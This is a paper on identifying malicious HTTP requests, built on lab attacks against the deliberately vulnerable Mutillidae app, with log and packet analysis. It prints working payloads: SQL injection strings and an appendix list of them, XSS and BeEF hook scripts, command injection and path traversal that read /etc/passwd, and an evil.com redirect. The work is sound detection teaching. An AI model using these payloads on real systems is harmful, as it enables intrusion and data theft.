Accepted: 13 November 2012

Abstract
Being a system administrator or a penetration tester, it is important to know how malicious requests are being conducted and how this kind of traffic can be identified. When the web application is being exploited or already defaced by a hacker, it is important to find the malicious requests from server logs and identify what kind of attack was used to identify the vulnerabilities in the web application. There are guides on different subjects when it comes to penetration testing and securing the application. Problem is that usually these guides concentrate only a specific attack vector. This paper will provide in-depth analysis on different attack vectors against web applications and demonstrate how these attacks can be found and identified from logs and on each other.
1 Introduction

Hypertext transfer protocol (HTTP) is a stateless protocol and it uses a message-based model. Basically, a client sends a request message and the server returns a response message. RFC 2616 defines numerous different headers for both request and response messages, which will be discussed later on this paper. When attacking a web application the payload is sent in the request message. There are different possibilities to do this; using dangerous HTTP methods, modifying the request parameters or sending other malicious traffic (Fielding et al., 1999).

HTTP methods are functions that a web server provides to process a request. GET is most commonly used to retrieve a resource from a web server. It will send the parameters directly in the URL query string. POST method is used to perform actions and allows the data to be sent also in the body of the message. Both of these methods are interesting for an attacker when it comes to injecting malicious content (Stuttard & Pinto, 2011). According to RFC 2616, there are also other methods for HTTP 1.1, which will be described more in-depth later on this paper when discussing about dangerous HTTP methods.

Injecting the request parameters and headers with arbitrary input is not the only way to attack the web application. There are also different methods, such as mapping and discovery. The mapping phase consists of several components, such as port scanning, OS fingerprinting and spidering. There are two ways to map the application: active and passive. Active tools are more aggressive and effective but generate traffic and are easier to detect. Passive tools instead are almost impossible to detect, but require the ability for an attacker to sniff the target’s traffic.

Discovery is the phase that explicitly sends "malicious" traffic to target system. It should be also noted that some aggressive mapping (e.g. port scanning) is considered malicious. The idea is to find any area of input and run a web application vulnerability scanner, which will send the first wave of harmful data. When vulnerabilities have been found from the application and all the necessary information is gained it is time to expand the foothold. The last method is called exploitation and concentrates solely on sending malicious traffic (SANS, 2010).

As the application is being targeted or has been defaced, it is up to the audit logs to contain any valuable information about the intrusion attempts. Effective audit logs should provide for the system administrator an understanding on what has taken place.

Niklas Särökaari, niklas@silverskin.fi
and what kind of damage the attacker might have caused, if any. Still, one of the most important information that should be logged is the intruder’s identity.

There are some guidelines on what key events should be logged, when it comes to identifying malicious HTTP requests; all events relating to the authentication functionality, access attempts that are blocked by the access control mechanisms and any requests that have known attack strings. With effective audit logs it can be possible to identify exactly what type of attack has taken in place (Stuttard & Pinto, 2011).

This paper will concentrate heavily on the discovery and exploitation phases by explaining the different attack vectors and a demonstration of their usage. Also the targeted application’s audit logs will provide a wealth of information and they are studied to identify the attacks from each other and their possible nuances.

### 2 The Testing Environment

The environment is built on a VMWare host-only private network. A subnet 172.16.40.0/24 has been assigned for the private network and IP address 172.16.40.132 is reserved for the target machine, which hosts mutillidae; a free, open source web application that contains OWASP Top 10 vulnerabilities. An IP address 172.16.40.131 is reserved for the penetration tester’s virtual machine, which will be the latest Samurai Web Testing Framework 0.9.9 version with updated versions of the tools.

For the target machine, a Ubuntu 11.10 LTS version will be used with XAMPP 1.8.0 for MySQL and Apache services. Mutillidae will be used as a target when sending malicious HTTP requests from the SamuraiWTF virtual machine. To analyze packets and capturing the malicious traffic tcpdump and wireshark will be installed. Also apache access logs are analyzed to identify any malicious activity. The results are being cross-referenced by checking the checksum values from the outputs.

![Figure 1. The testing environment](image)

Niklas Särökaari, niklas@silverskin.fi
3 Overview of HTTP messages

RFC 2616 defines that the Hypertext Transfer Protocol (HTTP) is an application-level protocol that was first used to retrieve only static-based resources and as Internet has evolved the HTTP has been extended to support complex distributed applications. (Fielding et al., 1999)

HTTP is a stateless protocol, but it can be used for many other tasks beyond its use for hypertext. Basically a client sends a request message to the server and then it returns a response message back to the client. Each of these transactions are autonomous and may use a different TCP connection. (Stuttard & Pinto, 2011)

Basic knowledge about the HTTP messages is needed when exploiting web applications. When sending malicious requests to the application, most commonly headers like the method, user agent and cookie are fiddled. There are also a huge variety of input-based vulnerabilities. These attacks involve submitting arbitrary input either to the URL parameters or into the HTTP payload. For example, SQL injection and Cross-site scripting fall into this category (Stuttard & Pinto, 2011).

As shown in Figure 2, the web client will send a request for a specific resource, in this case the host is 172.16.40.132. The GET method is used to request a web page and it also passes any parameters in the URL field. Also the user-agent field is sent for identifying the client, which will be discussed later in depth and any cookies that has been set (SANS, 2010).

Figure 2. HTTP Request message.

In Figure 3, the server responds with the status code and message. The server also sends a date header and optionally other headers like server and in this case a logged-in-user which may disclose sensitive information regarding the server, installed modules and the end user (SANS, 2010).

Figure 3. HTTP Response message

3.1 HTTP methods

RFC 2616 defines eight different methods for HTTP 1.1. These methods are GET, POST, HEAD, PUT, DELETE, TRACE, OPTIONS and CONNECT. It should be noted that not all methods are implemented by every server. For servers to be compliant with HTTP 1.1 they must implement at least the GET and HEAD methods for its resources. There really is not any "safe" methods as most of these methods can be used when targeting a web application (Museong Kim, 2012). All of these methods will be revised in this section.

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

The GET and POST are used to request a web page and are the two most common being used in HTTP. HEAD works exactly like GET, but the server returns only the headers in the response. The downside of GET is that it passes any parameters via the URL and is easy to manipulate. It is recommended to use POST for requests because the parameters are sent in the HTTP payload. This way it is harder to tamper with the parameters, but with method interchange this makes it a trivial effort (SANS, 2010).

The OPTIONS method asks the server which methods are supported in the web server. This provides a means for an attacker to determine which methods can be used for attacks. The TRACE method allows client to see how its request looks when it finally makes it to the server. Attacker can use this information to see any if any changes is made to the request by firewalls, proxies, gateways, or other applications (Gourley, Totty et al., 2002).

The following methods, PUT and DELETE are the most dangerous ones as they can cause a significant security risk to the application (Museong Kim, 2012). The PUT method can be used to upload any kind of malicious data to the server. The DELETE method on the other hand is used to remove any resources from the web server. This form of attack can be used to delete configuration files.

Lastly, the CONNECT method can be used to create an HTTP tunnel for requests. If the attacker knows the resource, he can use this method to connect through a proxy and gain access to unrestricted resources (SANS, 2010).

3.1.1 Identifying dangerous use of HTTP methods

In this section the OPTIONS method is being used to identify a malicious action against the web server. The incoming traffic is being analyzed to see if the HTTP methods can be identified from each other. As seen in Figure 4 the result shows that the OPTIONS method has been used and this can be marked as a malicious action against the web server.

Figure 4. Apache log markup for OPTIONS method

When looking at the wireshark and tcpdump output we can see that the OPTIONS method has its unique hexadecimal value that can be used to blacklist any dangerous use of HTTP methods. In addition to the hexadecimal value, when looking at the offset position we can see that the method is located at the 0x0040.

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

As shown in Table 1, by checking all the HTTP methods, it is possible to separate each methods unique hexadecimal value.

<table>

</tbody>
</table>

Table 1: HTTP 1.1 Methods hexadecimal values

3.2 User-Agent

RFC 2616 defines the web client as a "user-agent". When the client is requesting a web page, it is sending information about itself in a header named "User-Agent". This information typically identifies the browser, host operating system and language (Fielding et al., 1999).

Even though the user-agent is set correctly by default, it can be spoofed by the user. This makes it possible for example an attacker to retrieve web content designed for other browser types or even for other devices (SANS, 2010). Also many different applications sends information within the user-agent header thus identifying for example

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

malicious intentions. As the header information is completely controlled by the user, it makes it trivial for an attacker to fiddle with the information.

Figure 9. Example of a User-Agent header

Mozilla/5.0 signifies that the browser is compliant with the standards set by Netscape. Next is showed what kind of operating system the browser is running, which in this case is a Ubuntu 9.04 32-bit. Last string tells what version of Firefox is the client using.

In Figure 10 we can see a tampered User-Agent header. This is just a basic way to spoof it. For example nmap offers a script to remove the string from the header. SQLmap has a option before starting an attack where the user-agent can be hidden. There’s also a complete list of user agent strings offered by User Agent String.com

Figure 10. wireshark output for User-Agent header tampering

3.3 Cookies

Cookies are a key part of the HTTP protocol. Cookies enables the web server to send data to the client, which the client stores and resubmits to the server. Unlike the other request parameters, cookies are sent continuously in each subsequent request back to the server (Stuttard & Pinto, 2011).

Cookies are also used to transmit a lot of sensitive data in web applications, mostly they are used to identify the user and remember the session state. The client cannot modify the cookie values directly, but with an interception proxy tool, it makes it a trivial effort.

1 http://www.useragentstring.com/pages/useragentstring.php

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

The following example shows how modifying the cookie information it gives the attacker access as someone else. In Figure 11, the attacker provides admin credentials in the login form.

Figure 11. Wireshark output for attacker supplying admin credentials

Figure 12. shows that the login was successful and the cookie header and what values the admin user has in the site. For the admin user a uid value of 1 has been selected to identify the user and a PHPSESSID to remember the session state.

Figure 12. Wireshark output of cookie information

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

Now, the attacker changes the uid value to 2 and also the PHPSESSID to “evil”. This way the attacker can see if he can get an access to the application as someone else and proof that the application is vulnerable to session state attacks.

Figure 13. Wireshark output of session state attack

As Figure 14 shows, the application is indeed vulnerable and does not perform any checks and trusts the client completely. The attacker managed to get access to the application by another admin user, named adrian.

Figure 14. Successful session state attack

4 Bruteforce

Many web applications employ a login functionality, which presents a good opportunity for an attacker to exploit the login mechanism. The basic idea is that an attacker tries to guess usernames and passwords and thus gain unauthorized access to the application (Stuttard & Pinto, 2011). Mostly brute-force attacks are done by using an automated tool with custom wordlists.

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

In Figure 15, we can see what parameters are passed to the login.php, username and password. The following credentials will be used to create a brute-force attack with Burp Suite Intruder.

1.1 admin - password
1.2 admin - root
1.3 admin - admin
1.4 admin - qwerty

Figure 15. the brute-force exploit base request

4.1 Identifying Bruteforce

We can see from the wireshark and tcpdump results that five POST requests was made in under 0.5 seconds to the login.php. This shows that some sort of automated tool has been used to make repeated login attempts against the application.

Figure 16. wireshark results for brute-force attack

Also Burp Suite seems to change the port incrementally with each POST request as seen in the tcpdump output.

Figure 17. tcpdump results for brute-force attack

5 Spidering

When targeting an application it is important to know the structure of the application. This can be done through manual browsing or using an automated tool. Manual browsing

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

can be very time consuming; it is necessary to walk through the application starting from the main initial page, following every link, and navigating through all functions, like registration and login. Some applications may have also a site map, which can help to enumerate the content (Stuttard & Pinto, 2011).

5.1 Identifying Spidering

For comprehensive results about the application it is almost necessary to use an automated, more advanced technique. Downside for this technique is that it is more rigorous and identifiable. Some applications just requests many web pages in a short period of time.

As seen in the wireshark and tcpdump outputs and apache access log records, there’s over 10 different requests made under 1 second from the same address. This would be impossible to do with manual browsing. Also when using an automated tool the source port is changing incrementally.

Figure 18. wireshark output for spidering

Other point of interest we can see especially from the tcpdump output is that every request originates from a different port. Also we can see that the port numbers are growing incrementally and they are not in any random order. The apache access log also shows a lot of requests that have received a ”404 Not Found” response. The automated tool seems to use some sort of wordlist to request most common directories from the web site.

Figure 19. Apache access log output for spidering

Figure 20. tcpdump output for spidering

Niklas Särökaari, niklas@silverskin.fi
6 Injection flaws

Most web applications consist of several different components; such as application server, web server and backend data store. All these components work together to produce a dynamic web application for the end user, also referred to as a web client.

Most common are SQL injection, command injection and cross site scripting. In this type of flaws the attacker is able to inject content that the application uses. Basically the application is trusting the client and accepts its content without filtering or these filters can be bypassed (SANS, 2010). The injection flaws will be revised and examined in the following sections.

6.1 SQL Injection

SQL injection vulnerabilities allows an attacker to control what query is run by the application. To successfully exploit a SQL injection vulnerability the attacker needs to have an understanding of SQL and database structures. It is possible for an attacker to create users, modify transactions, change records or even port scan the internal network and much more. Basically the possibilities are limitless.

For discovering SQL injection flaws any data related input that appears to be used in database interaction is the attack surface. One of the easiest way is just to introduce a common SQL delimiter, such as the single quote ‘. If the application breaks or produces an error message or page then it is most likely vulnerable to SQL injection.

In SQL injection attack the input is passed directly to query. The traditional example is ‘ OR 1=1 -- , and the query becomes in the database select user from users where login=" or 1=1 --’. It should be noted that any true value works as well as it is not necessary to use only numeric values (SANS, 2010).

6.1.1 Identifying SQL Injection

The following input anything’ OR ’x’=’x is passed to exploit a SQL injection vulnerability in the mutillidae login form.

As the request was first captured with an interception proxy tool and then malicious input was introduced to mutillidae, we can see that it has not decoded the characters. In Figure 21 we can see the username and password parameters that SQL injection exploit has been used.

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

There is not any other anomalies within the request. Only malicious data that has been sent to the target is within the POST body data. The result is that mutillidae does not provide any kind of input validation and the attacker can craft all kind of arbitrary input to the application as seen in the next sections.

We can see that the attack was successful since the attacker was redirected straight to index.php instead of login.php, also the cookie information shows that the attacker gained unauthorized access as an admin user.

More SQL injection attack patterns are described in the appendix to help identify other kind of attacks, like numeral SQL injection and data modification. The attacks described provides only a small amount of possibilities that can be used to exploit this vulnerability.

6.2 Cross Site Scripting

Cross Site Scripting (XSS) is also referred to as "script injection". It means that an attacker has the ability to inject malicious scripts into to the application and have a browser run it. There are two types of XSS; stored and reflective.

XSS vulnerabilities can be exploited multiple ways. Most typical attacks are for example reading cookies or redirecting a user into malicious site. Also modifying the
content on a page, which gives an opportunity for the attacker to run any kind of custom code within the JavaScript language.

Discovering XSS vulnerabilities can be quite simple, using only a browser and injecting JavaScript into various input fields in the application. The simplest method is to just input the following code `<script>alert(xss)</script>` into any input field and see if the application will run the code (SANS, 2010).

### 6.2.1 Identifying XSS

The XSS vulnerability will be exploited in the add-to-your-blog.php section. The following code will be injected through TamperData to demonstrate this vulnerability

```html
<script>alert('hello');</script>
```

![Successful XSS attack](image1)

Figure 24. Successful XSS attack

When looking at the wireshark result from the XSS exploit we can see the same thing as already seen in the SQL injection section. Mutillidae does not provide any kind of encoding or filtering and in this case the exploit is easily recognized. All malicious data is within the POST body.

![XSS wireshark output](image2)

Figure 25. XSS wireshark output

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

15

Figure 26. XSS tcpdump output

It is also possible that when performing a XSS attack the script tags will get decoded from ascii to hexadecimal format. If this is the case there are already software available, such as Suricata and Snort that are able to detect and transcode these characters (Deuble Ashley, 2012). There is also a good cheat sheet for different kinds of XSS attacks, offered by ha.ckers.org.3

More XSS attack patterns are described in the appendix to help identify other kind of possibilities to bypass possible data validation. It should be noted that it consists only from small amount of different attack patterns.

6.3 Command Injection

Command injection is not as common in web applications as SQL injection. Unlike SQL injection where the attackers’ goal is to retrieve information from the backend database. In command injection the attacker inputs operating system commands through the web application. This type of attack can be very powerful if the application is vulnerable and especially then if the commands can be run with root privileges (SANS, 2010).

6.3.1 Identifying Command Injection

Figure 27. shows a basic and successful command injection attack where the target’s server password file is being requested. The following code was injected into the input field:

```
172.16.40.132 & cat /etc/passwd
```

3 http://ha.ckers.org/xss.html

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

Figure 27. Successful Command Injection attack

The wireshark output shows that the slash marks have been decoded from ascii to hexadecimal format producing the following output:

172.16.40.132+cat+%2Fetc%2Fpasswd

Figure 28. Command Injection wireshark output

The tcpdump output shows the same result as already seen with SQL injection and XSS, that all malicious content with injection flaws can be identified within the POST body data. If the request would have been made with a GET request then the arbitrary input would be located in the URL and apache access logs could also be used to verify the results.

Figure 29. Command Injection tcpdump output

More command injection attack patterns are described in the appendix to help identify other kind of patterns that are commonly used to exploit this kind of vulnerability.

Niklas Särökaari, niklas@silverskin.fi
7 Path Traversal

Path traversal vulnerabilities can be found when the application allows user-controllable data to interact with the filesystem. This allows the attacker to create arbitrary input and if the input is not properly sanitized the attacker can retrieve sensitive information from the server (Stuttard & Pinto, 2011).

7.1 Identifying Path Traversal

The path traversal vulnerability will be exploited in the mutillidae text-file-viewer.php functionality. The attack is used to go up in the directories and retrieve the server’s user file. The attacker will request a file from the filesystem and inject the following value into the textfile parameter:

```
../../../../../../etc/passwd
```

In Figure 30 we can see that the attack was successful and the attacker was able to retrieve the user file from the server. There are number of other techniques to exploit this vulnerability. For example the Penetration Testing Lab blog offers a good cheat sheet for this attack.4

**Figure 30. Successful path traversal attack**

Looking at the wireshark result from the path traversal exploit we can see that the mutillidae does not provide any kind of filtering or sanitation to the user-supplied input and by this the application is vulnerable and easy to identify.

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

If the application's input filter does not accept the regular path traversal sequences, it is also possible to URL-encode the slashes and dots. As we already saw from the command injection where the application has URL encoded the characters, it is still vulnerable and the attacker successfully exploited the application.

8 Double Encoding

If the application implements security checks for user input and rejects malicious code injection, it is still possible to bypass the filters with techniques like single and double encoding. There are common character sets that are used in web application attacks; path traversal uses the “../” and XSS uses the “<”, “/” and “>” characters (OWASP, 2009).

There are some common characters that are used in different injection attacks. As already seen in the command injection attack some of the characters were represented with the % symbol. When it is encoded again, its representation in hexadecimal code is %25. Table 2 illustrates the possibilities for hexadecimal encoding and double encoding.

<table>
<thead>
<tr>
<th>Single encoding</th>
<th>Double encoding</th>

</tr>
</tbody>
</table>

| %2E            | %252E          |
| %2F            | %252F          |
| %5C            | %255C          |
| %3C            | %253C          |
| %3E            | %253E          |

Table 2: Encoded character set sequences

Niklas Särökaari, niklas@silverskin.fi
How to identify malicious HTTP Requests

If the application refuses attacks like `<script>alert(1)</script>`, with double-encoding the security check might be possible to bypass. The wireshark and tcpdump output shows an example string of what to look for in a malicious double encoded injection attack.

![wireshark output of double encoding attack](image1)

![tcpdump output of double encoding attack](image2)

The table above shows the specific characters that should be checked in single or double encode attacks. As these are the most common character sets that are used to attack the application it is possible to reduce the risk of being exploited.

9 BeEF

The Browser Exploitation Framework is a penetration testing tool that focuses on the web browser. BeEF allows the attacker to focus on the payloads instead of how to get the attack to the client. The attacker can hook one or more web browsers and use them as targets to launch different exploits against them. BeEF allows for example port scanning, JavaScript injection, different browser exploits, clipboard stealing et cetera (SANS, 2010).

Niklas Särikkaari, niklas@silverskin.fi
9.1 Identifying BeEF

In the following example the mutillidae machine will be hooked with BeEF. The attacker injected the following code `<script src="http://172.16.40.133/beef/hook/beefmagic.js.php"></script>` in add-to-your-blog.php section. When the user views the blog entries on the mutillidae site, its browser will become a zombie and the attacker has complete control over it, see Figure 35.

Figure 35. Successful BeEF attack

In Figure 36 we can see what kind of traffic has resulted from the point where the victim became a zombie and was exploited.

Figure 36. BeEF wireshark output

It shows us that when the victim is hooked, its browser sends a GET request to the BeEF controller every five seconds. The number 8 packet shows the exploitation itself.

Niklas Särökaari, niklas@silverskin.fi
BeEF attack has its own variable, called result_id, which changes every time an attack is conducted. After successful attack the zombie sends a return.php instead of command.php to the BeEF controller. After this it starts again to maintain the connection to the controller. Also the BeEF controller sets its own cookie to the client, called BeEFSession.

10 Unvalidated Redirects and Forwards

In an unvalidated redirect attack the application allows redirecting or forwarding its users to a third-party site or another site within the application. In this case the attacker links to unvalidated redirect and tricks the applications victims into clicking it. Since the forged URL looks like a valid site the victim is more likely to click it and sent into a malicious site (OWASP, 2010).

10.1 Identifying Unvalidated Redirects and Forwards

In the following example Mutillidae offers a list of sites for its users to visit. When clicking a site in the list it takes a single parameter named forwardurl. In this case the attacker crafts a malicious URL that redirects users to a malicious site that can perform, for example phishing or installing malware.

Figures 37 and 38 shows us that the attacker has crafted a malicious URL and links its victims into www.evil.com. Mutillidae does not perform any validation for the input and any kind of destination can be used. For example, the attacker could redirect its victim into a site that has a BeEF hook already placed and hook the victim and take control over its browser.

Figure 37. wireshark output for unvalidated redirect attack

Figure 38. Apache access log output for unvalidated redirect attack

Figure 39. tcpdump output for unvalidated redirect attack

Niklas Särökaari, niklas@silverskin.fi
11 Cross Site Request Forgery

Cross-Site Request Forgery (CSRF) is similar to XSS. The difference is that it does not require to inject malicious scripts into the web application. Instead an attacker can create a malicious web site, which holds a malicious script that will do actions behalf the targeted user. For CSRF attack to work it needs a targeted user with an active session and predictable transaction parameters. The attacker creates the script to the web site and if the targeted user opens the page while logged into the application, then the script will execute with his privileges and arbitrary actions will be carried out (SANS, 2010).

11.1 Identifying CSRF

CSRF vulnerabilities are harder to detect than XSS. It follows a four step process by first reviewing the application logic and finding functions that perform sensitive actions and have predictable parameters. If these are found in the application then the next step is to create a page with the request and have a victim to access this page while logged in to the application (SANS, 2010).

In the following example the attacker has created a CSRF attack against the users in Mutillidae. Figure 40 shows that the attacker has injected the following script into the application.

![Wireshark output of CSRF-attack](Image)

It creates a blog post with a string "Cross-site request forgery". The onmouseover variable is for when the victim moves the pointer top of the CSRF blog post it creates a new post without the victim knowing about it. Only thing the victim’s browser will do is refresh the page.

Other interesting values are also stored in the hidden form fields. We can see that a csrf-token parameter is given with a value "106424". This is for blocking this kind of

Niklas Särökaari, niklas@silverskin.fi
attack. The value of the form field is changed into "best-guess", to see if the server processes the request.

When the victim browses into the blog section and moves its mouse over to the "Cross-site request forgery" post a new post was made and no other checks were made to the csrf-token.

![Figure 41. Successful CSRF-attack](image)

In this case there was a way to block the possible CSRF vulnerabilities, but it was not efficient enough since no validation for the token value was not made. Using hidden form fields makes the application trust the client completely, which should be never done.

12 Conclusions
The most common web application security weaknesses are usually the failure to validate user input, implement proper access control and authentication mechanisms. It is important to understand that if an attacker is able to exploit possible vulnerabilities in these security controls it is possible for the attacker to retrieve sensitive information from the application or gain unauthorized access to the application. As seen in the examples it was possible to retrieve user and group information from the server, bypass login and even compromise all the other users in the application by exploiting a cross-site scripting vulnerability. Implementing effective security controls for a web application mitigates the risk being exploited and protects the confidentiality of its users.

The results show that malicious activity can be identified and even blocked. Possible security control mechanisms could be IP address blocking and if possible, limit the amount of requests made to the application in a specific time interval. Also rule based data validation can be made to prevent injection flaws. As the attack patterns show, the attacks can be identified from each other by analysing log files and network traffic monitor information.

The attack vectors described in this paper covers only some basic approaches. It would be impossible to revise all different attack patterns that can be used against web

How to identify malicious HTTP Requests

applications. It should be noted that even though some attack that is described in this paper does not work in some other application does not mean that the application is not vulnerable.

13 Appendix

Here are described some other common attack patterns that are used in injection attacks, which can be used to identify if the application is being targeted by malicious user.

SQL Injection

1 OR 1=1
' OR 1=1 --
" OR 1=1 --
OR 1=1;
1 AND 1=1
x' OR '1'='1
' OR 1 in (@@version)--
' UNION (select @@version) --
1 OR sleep(___TIME___)#
' OR sleep(___TIME___)#
" OR sleep(___TIME___)#
1 or benchmark(1000000,MD5(1))#
' or benchmark(1000000,MD5(1))#
" or benchmark(1000000,MD5(1))#
;waitfor delay '0:0:__TIME__'--
);waitfor delay '0:0:__TIME__'--
';waitfor delay '0:0:__TIME__'--
';waitfor delay '0:0:__TIME__'--
OR 1=1 ORDER BY table_name DESC
x'; UPDATE table SET value WHERE user='x
1'; INSERT INTO table VALUES('value','value');--
101 AND (SELECT ASCII(SUBSTR(name,1,1)) FROM table WHERE foo=n)$ --
' union select null,LOAD_FILE('..../..../..../etc/passwd'),null,null,null --

Cross-Site Scripting
